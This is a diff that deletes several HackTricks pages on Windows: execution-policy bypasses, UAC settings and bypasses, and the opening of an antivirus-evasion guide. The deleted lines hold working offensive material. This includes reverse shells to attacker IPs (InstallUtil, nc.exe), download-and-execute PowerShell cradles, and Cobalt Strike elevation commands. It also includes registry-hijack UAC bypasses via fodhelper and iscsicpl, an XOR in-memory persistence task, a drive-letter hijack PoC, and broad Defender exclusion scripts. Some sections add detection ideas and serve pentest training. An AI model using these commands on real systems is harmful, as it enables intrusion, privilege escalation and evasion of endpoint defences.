-C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
-```
-
-#### Reverse shell:
-
-```bash
-C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
-```
-
-You can use [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) or [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) to **execute Powershell** code in any process and bypass the constrained mode. For more info check: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
-
-## PS Execution Policy
-
-By default it is set to **restricted.** Main ways to bypass this policy:
-
-```bash
-1º Just copy and paste inside the interactive PS console
-2º Read en Exec
-Get-Content .runme.ps1 | PowerShell.exe -noprofile -
-3º Read and Exec
-Get-Content .runme.ps1 | Invoke-Expression
-4º Use other execution policy
-PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
-5º Change users execution policy
-Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
-6º Change execution policy for this session
-Set-ExecutionPolicy Bypass -Scope Process
-7º Download and execute:
-powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
-8º Use command switch
-Powershell -command "Write-Host 'My voice is my passport, verify me.'"
-9º Use EncodeCommand
-$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
-```
-
-More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
-
-## Security Support Provider Interface (SSPI)
-
-Is the API that can be use to authenticate users.
-
-The SSPI will be in charge of finding the adequate protocol for two machines that want to communicate. The preferred method for this is Kerberos. Then the SSPI will negotiate which authentication protocol will be used, these authentication protocols are called Security Support Provider (SSP), are located inside each Windows machine in the form of a DLL and both machines must support the same to be able to communicate.
-
-### Main SSPs
-
-- **Kerberos**: The preferred one
-  - %windir%\Windows\System32\kerberos.dll
-- **NTLMv1** and **NTLMv2**: Compatibility reasons
-  - %windir%\Windows\System32\msv1_0.dll
-- **Digest**: Web servers and LDAP, password in form of a MD5 hash
-  - %windir%\Windows\System32\Wdigest.dll
-- **Schannel**: SSL and TLS
-  - %windir%\Windows\System32\Schannel.dll
-- **Negotiate**: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one)
-  - %windir%\Windows\System32\lsasrv.dll
-
-#### The negotiation could offer several methods or only one.
-
-## UAC - User Account Control
-
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a **consent prompt for elevated activities**.
-
-
-{{#ref}}
-uac-user-account-control.md
-{{#endref}}
-
-## References
-
-- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/)
-- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader)
-- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
deleted file mode 100644
index 77750887a65..00000000000
--- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md
+++ /dev/null
@@ -1,311 +0,0 @@
-# UAC - User Account Control
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## UAC
-
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is a feature that enables a **consent prompt for elevated activities**. Applications have different `integrity` levels, and a program with a **high level** can perform tasks that **could potentially compromise the system**. When UAC is enabled, applications and tasks always **run under the security context of a non-administrator account** unless an administrator explicitly authorizes these applications/tasks to have administrator-level access to the system to run. It is a convenience feature that protects administrators from unintended changes but is not considered a security boundary.
-
-For more info about integrity levels:
-
-
-{{#ref}}
-../windows-local-privilege-escalation/integrity-levels.md
-{{#endref}}
-
-When UAC is in place, an administrator user is given 2 tokens: a standard user key, to perform regular actions as regular level, and one with the admin privileges.
-
-This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discusses how UAC works in great depth and includes the logon process, user experience, and UAC architecture. Administrators can use security policies to configure how UAC works specific to their organization at the local level (using secpol.msc), or configured and pushed out via Group Policy Objects (GPO) in an Active Directory domain environment. The various settings are discussed in detail [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). There are 10 Group Policy settings that can be set for UAC. The following table provides additional detail:
-
-| Group Policy Setting                                                                                                                                                                                                                                                                                                                                                           | Registry Key                | Default Setting                                              |
-| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
-| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                                                                           | `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken`   | `0` (Disabled)                                             |
-| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                                                                     | `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin` | `5` (Prompt for consent for non-Windows binaries on the secure desktop) |
-| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                                                             | `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser`  | `1` (Prompt for credentials on the secure desktop)         |
-| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                                                                 | `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableInstallerDetection`   | `1` (Enabled; disabled by default on Enterprise)           |
-| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ValidateAdminCodeSignatures` | `0` (Disabled)                                             |
-| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                                                             | `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableSecureUIAPaths`       | `1` (Enabled)                                              |
-| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                                                                            | `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA`                  | `1` (Enabled)                                              |
-| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop)                                   | `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle`     | `0` (Disabled)                                             |
-| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                                               | `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop`      | `1` (Enabled)                                              |
-| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                                                     | `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableVirtualization`       | `1` (Enabled)                                              |
-
-### Policies for installing software on Windows
-
-The **local security policies** ("secpol.msc" on most systems) are configured by default to **prevent non-admin users from performing software installations**. This means that even if a non-admin user can download the installer for your software, they won't be able to run it without an admin account.
-
-### Registry Keys to Force UAC to Ask for Elevation
-
-As a standard user with no admin rights, you can make sure the "standard" account is **prompted for credentials by UAC** when it attempts to perform certain actions. This action would require modifying certain **registry keys**, for which you need admin permissions, unless there is a **UAC bypass**, or the attacker is already logged as admin.
-
-Even if the user is in the **Administrators** group, these changes force the user to **re-enter their account credentials** in order to perform administrative actions.
-
-**The only downside is that this approach needs UAC disabled to work, which is unlikely to be the case in production environments.**
-
-The registry keys and entries that you must change are the following (with their default values in parentheses):
-
-- `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System`:
-  - `ConsentPromptBehaviorUser` = 1 (3)
-  - `ConsentPromptBehaviorAdmin` = 1 (5)
-  - `PromptOnSecureDesktop` = 1 (1)
-
-This can also be done manually through the Local Security Policy tool. Once changed, administrative operations prompt the user to re-enter their credentials.
-
-### Note
-
-**User Account Control is not a security boundary.** Therefore, standard users cannot break out of their accounts and gain administrator rights without a local privilege escalation exploit.
-
-### Ask for 'full computer access' to a user
-
-```powershell
-hostname | Set-Clipboard
-Enable-PSRemoting -SkipNetworkProfileCheck -Force
-
-cd C:\Users\hacedorderanas\Desktop
-New-PSSession -Name "Case ID: 1527846" -ComputerName hostname
-Enter-PSSession -ComputerName hostname
-```
-
-### UAC Privileges
-
-- Internet Explorer Protected Mode uses integrity checks to prevent high-integrity-level processes (like web browsers) from accessing low-integrity-level data (like the temporary Internet files folder). This is done by running the browser with a low-integrity token. When the browser attempts to access data stored in the low-integrity zone, the operating system checks the integrity level of the process and allows access accordingly. This feature helps prevent remote code execution attacks from gaining access to sensitive data on the system.
-- When a user logs on to Windows, the system creates an access token that contains a list of the user's privileges. Privileges are defined as the combination of a user's rights and capabilities. The token also contains a list of the user's credentials, which are credentials that are used to authenticate the user to the computer and to resources on the network.
-
-### Autoadminlogon
-
-To configure Windows to automatically log on a specific user at startup, set the **`AutoAdminLogon` registry key**. This is useful for kiosk environments or for testing purposes. Use this only on secure systems, as it exposes the password in the registry.
-
-Set the following keys using the Registry Editor or `reg add`:
-
-- `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`:
-  - `AutoAdminLogon` = 1
-  - `DefaultUsername` = username
-  - `DefaultPassword` = password
-
-To revert to normal logon behavior, set `AutoAdminLogon` to 0.
-
-## UAC bypass
-
-> [!TIP]
-> Note that if you have graphical access to the victim, UAC bypass is straight forward as you can simply click on "Yes" when the UAC prompt appears
-
-The UAC bypass is needed in the following situation: **the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group**.
-
-It is important to mention that it is **much harder to bypass the UAC if it is in the highest security level (Always) than if it is in any of the other levels (Default).**
-
-### UAC disabled
-
-If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like:
-
-```bash
-#Put your reverse shell instead of "calc.exe"
-Start-Process powershell -Verb runAs "calc.exe"
-Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
-```
-
-#### UAC bypass with token duplication
-
-- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
-- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
-
-### **Very** Basic UAC "bypass" (full file system access)
-
-If you have a shell with a user that is inside the Administrators group you can **mount the C$** shared via SMB (file system) local in a new disk and you will have **access to everything inside the file system** (even Administrator home folder).
-
-> [!WARNING]
-> **Looks like this trick isn't working anymore**
-
-```bash
-net use Z: \\127.0.0.1\c$
-cd C$
-
-#Or you could just access it:
-dir \\127.0.0.1\c$\Users\Administrator\Desktop
-```
-
-### UAC bypass with cobalt strike
-
-The Cobalt Strike techniques will only work if UAC is not set at it's max security level
-
-```bash
-# UAC bypass via token duplication
-elevate uac-token-duplication [listener_name]
-# UAC bypass via service
-elevate svc-exe [listener_name]
-
-# Bypass UAC with Token Duplication
-runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
-# Bypass UAC with CMSTPLUA COM interface
-runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
-```
-
-**Empire** and **Metasploit** also have several modules to **bypass** the **UAC**.
-
-### KRBUACBypass
-
-Documentation and tool in [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
-
-### UAC bypass exploits
-
-[**UACME** ](https://github.com/hfiref0x/UACME)which is a **compilation** of several UAC bypass exploits. Note that you will need to **compile UACME using visual studio or msbuild**. The compilation will create several executables (like `Source\Akagi\outout\x64\Debug\Akagi.exe`) , you will need to know **which one you need.**\
-You should **be careful** because some bypasses will **promtp some other programs** that will **alert** the **user** that something is happening.
-
-UACME has the **build version from which each technique started working**. You can search for a technique affecting your versions:
-
-```powershell
-PS C:\> [environment]::OSVersion.Version
-
-Major  Minor  Build  Revision
------  -----  -----  --------
-10     0      14393  0
-```
-
-Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
-
-### UAC Bypass – fodhelper.exe (Registry hijack)
-
-The trusted binary `fodhelper.exe` is auto-elevated on modern Windows. When launched, it queries the per-user registry path below without validating the `DelegateExecute` verb. Planting a command there allows a Medium Integrity process (user is in Administrators) to spawn a High Integrity process without a UAC prompt.
-
-Registry path queried by fodhelper:
-```text
-HKCU\Software\Classes\ms-settings\Shell\Open\command
-```
-
-<details>
-<summary>PowerShell steps (set your payload, then trigger)</summary>
-
-```powershell
-# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
-C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
-
-# 1) Create the vulnerable key and values
-New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
-New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
-
-# 2) Set default command to your payload (example: reverse shell or cmd)
-# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
-Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
-
-# 3) Trigger auto-elevation
-Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
-
-# 4) (Recommended) Cleanup
-Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
-```
-
-</details>
-Notes:
-- Works when the current user is a member of Administrators and UAC level is default/lenient (not Always Notify with extra restrictions).
-- Use the `sysnative` path to start a 64-bit PowerShell from a 32-bit process on 64-bit Windows.
-- Payload can be any command (PowerShell, cmd, or an EXE path). Avoid prompting UIs for stealth.
-
-#### CurVer/extension hijack variant (HKCU only)
-
-Recent samples abusing `fodhelper.exe` avoid `DelegateExecute` and instead **redirect the `ms-settings` ProgID** via the per-user `CurVer` value. The auto-elevated binary still resolves the handler under `HKCU`, so no admin token is needed to plant the keys:
-
-```powershell
-# Point ms-settings to a custom extension (.thm) and map that extension to our payload
-New-Item -Path "HKCU:\Software\Classes\.thm\Shell\Open" -Force | Out-Null
-New-ItemProperty -Path "HKCU:\Software\Classes\.thm\Shell\Open\command" -Name "(default)" -Value "C:\\ProgramData\\rKXujm.exe" -Force | Out-Null
-Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings" -Name "CurVer" -Value ".thm" -Force
-
-Start-Process "C:\\Windows\\System32\\fodhelper.exe"   # auto-elevates and runs rKXujm.exe
-```
-
-Once elevated, malware commonly **disables future prompts** by setting `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin` to `0`, then performs additional defense evasion (e.g., `Add-MpPreference -ExclusionPath C:\ProgramData`) and recreates persistence to run as high integrity. A typical persistence task stores an **XOR-encrypted PowerShell script** on disk and decodes/executes it in-memory each hour:
-
-```powershell
-schtasks /create /sc hourly /tn "OneDrive Startup Task" /rl highest /tr "cmd /c powershell -w hidden $d=[IO.File]::ReadAllBytes('C:\ProgramData\VljE\zVJs.ps1');$k=[Text.Encoding]::UTF8.GetBytes('Q');for($i=0;$i -lt $d.Length;$i++){$d[$i]=$d[$i]-bxor$k[$i%$k.Length]};iex ([Text.Encoding]::UTF8.GetString($d))"
-```
-
-This variant still cleans up the dropper and leaves only the staged payloads, making detection rely on monitoring the **`CurVer` hijack**, `ConsentPromptBehaviorAdmin` tampering, Defender exclusion creation, or scheduled tasks that in-memory decrypt PowerShell.
-
-#### More UAC bypass
-
-**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
-
-You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
-
-![Point ms-settings to a custom extension (.thm) and map that extension to our payload - More UAC bypass: You can get using a meterpreter session. Migrate to a process that has the Session...](<../../images/image (863).png>)
-
-(_explorer.exe_ should works)
-
-### UAC Bypass with GUI
-
-If you have access to a **GUI you can just accept the UAC prompt** when you get it, you don't really need a bypass it. So, getting access to a GUI will allow you to bypass the UAC.
-
-Moreover, if you get a GUI session that someone was using (potentially via RDP) there are **some tools that will be running as administrator** from where you could **run** a **cmd** for example **as admin** directly without being prompted again by UAC like [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). This might be a bit more **stealthy**.
-
-### Noisy brute-force UAC bypass
-
-If you don't care about being noisy you could always **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) that **ask to elevate permissions until the user does accepts it**.
-
-### Your own bypass - Basic UAC bypass methodology
-
-If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
-
-1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level).
-2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**.
-3. You probably will need to **write** the DLL inside some **protected paths** (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using:
-   1. **wusa.exe**: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level).
-   2. **IFileOperation**: Windows 10.
-4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.
-
-### Another UAC bypass technique
-
-Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**).
-
-### UAC bypass via `SysWOW64\iscsicpl.exe` + user `PATH` DLL hijack
-
-The 32-bit `C:\Windows\SysWOW64\iscsicpl.exe` is an **auto-elevated** binary that can be abused to load `iscsiexe.dll` by search order. If you can place a malicious `iscsiexe.dll` inside a **user-writable** folder and then modify the current user `PATH` (for example via `HKCU\Environment\Path`) so that folder is searched, Windows may load the attacker DLL inside the elevated `iscsicpl.exe` process **without showing a UAC prompt**.
-
-Practical notes:
-- This is useful when the current user is in **Administrators** but running at **Medium Integrity** due to UAC.
-- The **SysWOW64** copy is the relevant one for this bypass. Treat the **System32** copy as a separate binary and validate behavior independently.
-- The primitive is a combination of **auto-elevation** and **DLL search-order hijacking**, so the same ProcMon workflow used for other UAC bypasses is useful to validate the missing DLL load.
-
-Minimal flow:
-
-```cmd
-copy iscsiexe.dll %TEMP%\iscsiexe.dll
-reg add "HKCU\Environment" /v Path /t REG_SZ /d "%TEMP%" /f
-C:\Windows\System32\cmd.exe /c C:\Windows\SysWOW64\iscsicpl.exe
-```
-
-Detection ideas:
-- Alert on `reg add` / registry writes to `HKCU\Environment\Path` immediately followed by execution of `C:\Windows\SysWOW64\iscsicpl.exe`.
-- Hunt for `iscsiexe.dll` in **user-controlled** locations such as `%TEMP%` or `%LOCALAPPDATA%\Microsoft\WindowsApps`.
-- Correlate `iscsicpl.exe` launches with unexpected child processes or DLL loads from outside the normal Windows directories.
-
-### Administrator Protection (25H2) drive-letter hijack via per-logon-session DOS device map
-
-Windows 11 25H2 “Administrator Protection” uses shadow-admin tokens with per-session `\Sessions\0\DosDevices/<LUID>` maps. The directory is created lazily by `SeGetTokenDeviceMap` on first `\??` resolution. If the attacker impersonates the shadow-admin token only at **SecurityIdentification**, the directory is created with the attacker as **owner** (inherits `CREATOR OWNER`), allowing drive-letter links that take precedence over `\GLOBAL??`.
-
-**Steps:**
-
-1. From a low-privileged session, call `RAiProcessRunOnce` to spawn a promptless shadow-admin `runonce.exe`.
-2. Duplicate its primary token to an **identification** token and impersonate it while opening `\??` to force creation of `\Sessions\0\DosDevices/<LUID>` under attacker ownership.
-3. Create a `C:` symlink there pointing to attacker-controlled storage; subsequent filesystem accesses in that session resolve `C:` to the attacker path, enabling DLL/file hijack without a prompt.
-
-**PowerShell PoC (NtObjectManager):**
-```powershell
-$pid = Invoke-RAiProcessRunOnce
-$p = Get-Process -Id $pid
-$t = Get-NtToken -Process $p
-$id = New-NtTokenDuplicate -Token $t -ImpersonationLevel Identification
-Invoke-NtToken $id -ImpersonationLevel Identification { Get-NtDirectory "\??" | Out-Null }
-$auth = Get-NtTokenId -Authentication -Token $id
-New-NtSymbolicLink "\Sessions\0\DosDevices/$auth/C:" "\??\\C:\\Users\\attacker\\loot"
-```
-
-## References
-- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
-- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
-- [LOLBAS: Iscsicpl.exe](https://lolbas-project.github.io/lolbas/Binaries/Iscsicpl/)
-- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
-- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
-- [Checkpoint Research – KONNI Adopts AI to Generate PowerShell Backdoors](https://research.checkpoint.com/2026/konni-targets-developers-with-ai-malware/)
-- [Check Point Research – Operation TrueChaos: 0-Day Exploitation Against Southeast Asian Government Targets](https://research.checkpoint.com/2026/operation-truechaos-0-day-exploitation-against-southeast-asian-government-targets/)
-- [Project Zero – Windows Administrator Protection drive-letter hijack](https://projectzero.google/2026/26/windows-administrator-protection.html)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md
deleted file mode 100644
index 8c3b551bb96..00000000000
--- a/src/windows-hardening/av-bypass.md
+++ /dev/null
@@ -1,1377 +0,0 @@
-# Antivirus (AV) Bypass
-
-{{#include ../banners/hacktricks-training.md}}
-
-**This page was initially written by** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
-
-## Stop Defender
-
-- [defendnot](https://github.com/es3n1n/defendnot): A tool to stop Windows Defender from working.
-- [no-defender](https://github.com/es3n1n/no-defender): A tool to stop Windows Defender from working faking another AV.
-- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
-
-### Installer-style UAC bait before tampering with Defender
-
-Public loaders masquerading as game cheats frequently ship as unsigned Node.js/Nexe installers that first **ask the user for elevation** and only then neuter Defender. The flow is simple:
-
-1. Probe for administrative context with `net session`. The command only succeeds when the caller holds admin rights, so a failure indicates the loader is running as a standard user.
-2. Immediately relaunch itself with the `RunAs` verb to trigger the expected UAC consent prompt while preserving the original command line.
-
-```powershell
-if (-not (net session 2>$null)) {
-    powershell -WindowStyle Hidden -Command "Start-Process cmd.exe -Verb RunAs -WindowStyle Hidden -ArgumentList '/c ""`<path_to_loader`>""'"
-    exit
-}
-```
-
-Victims already believe they are installing “cracked” software, so the prompt is usually accepted, giving the malware the rights it needs to change Defender’s policy.
-
-### Blanket `MpPreference` exclusions for every drive letter
-
-Once elevated, GachiLoader-style chains maximize Defender blind spots instead of disabling the service outright. The loader first kills the GUI watchdog (`taskkill /F /IM SecHealthUI.exe`) and then pushes **extremely broad exclusions** so every user profile, system directory, and removable disk becomes unscannable:
-
-```powershell
-$targets = @('C:\Users\', 'C:\ProgramData\', 'C:\Windows\')
-Get-PSDrive -PSProvider FileSystem | ForEach-Object { $targets += $_.Root }
-$targets | Sort-Object -Unique | ForEach-Object { Add-MpPreference -ExclusionPath $_ }
-Add-MpPreference -ExclusionExtension '.sys'
-```
-
-Key observations:
-
-- The loop walks every mounted filesystem (D:\, E:\, USB sticks, etc.) so **any future payload dropped anywhere on disk is ignored**.
-- The `.sys` extension exclusion is forward-looking—attackers reserve the option to load unsigned drivers later without touching Defender again.
-- All changes land under `HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions`, letting later stages confirm the exclusions persist or expand them without re-triggering UAC.
-
-Because no Defender service is stopped, naïve health checks keep reporting “antivirus active” even though real-time inspection never touches those paths.
-
-## **AV Evasion Methodology**
-
-Currently, AVs use different methods for checking if a file is malicious or not, static detection, dynamic analysis, and for the more advanced EDRs, behavioural analysis.
-
-### **Static detection**
-
-Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection:
-
-- **Encryption**
-
-If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory.
-
-- **Obfuscation**
-
-Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate.
-
-- **Custom tooling**
-
-If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort.
-
-> [!TIP]
-> A good way for checking against Windows Defender static detection is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary.
-
-I highly recommend you check out this [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) about practical AV Evasion.
-
-### **Dynamic analysis**
-
-Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes.
-
-- **Sleep before execution** Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented.
-- **Checking machine's resources** Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox.
-- **Machine-specific checks** If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit.
-
-It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit.
-
-<figure><img src="../images/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
-
-Some other really good tips from [@mgeeky](https://twitter.com/mariuszbit) for going against Sandboxes
-
-<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
-
-As we've said before in this post, **public tools** will eventually **get detected**, so, you should ask yourself something:
-
-For example, if you want to dump LSASS, **do you really need to use mimikatz**? Or could you use a different project which is lesser known and also dumps LSASS.
-
-The right answer is probably the latter. Taking mimikatz as an example, it's probably one of, if not the most flagged piece of malware by AVs and EDRs, while the project itself is super cool, it's also a nightmare to work with it to get around AVs, so just look for alternatives for what you're trying to achieve.
-
-> [!TIP]
